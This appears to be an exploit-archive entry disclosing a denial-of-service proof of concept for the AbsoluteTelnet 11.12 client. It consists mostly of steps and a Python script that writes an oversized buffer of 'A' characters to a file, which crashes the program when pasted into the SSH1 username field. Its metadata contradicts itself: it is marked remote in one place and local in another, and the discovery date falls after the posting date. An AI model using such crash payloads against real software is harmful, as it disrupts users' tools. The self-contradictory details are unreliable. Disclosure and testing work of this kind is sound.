AbsoluteTelnet 11.12 SSH1/username Denial of Service (PoC)

2020.04.16

Credit: chuyreds

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: AbsoluteTelnet 11.12 - 'SSH1/username' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-05-02
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
# Steps to produce the crash:
# 1.- Run python code: AbsoluteTelnet 11.12_username_ssh1.py
# 2.- Open absolutetelnet_username_SSH1.txt and copy content to clipboard
# 3.- Open AbsoluteTelnet
# 4.- Select "new connection file", "Connection", "SSH1", "Use last username"
# 5.- In "username" field paste Clipboard
# 6.- Select "OK"
# 7.- Crashed
buffer = "\x41" * 1000
f = open ("absolutetelnet_username_SSH1.txt", "w")
f.write(buffer)
f.close()

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AbsoluteTelnet 11.12 SSH1/username Denial of Service (PoC)

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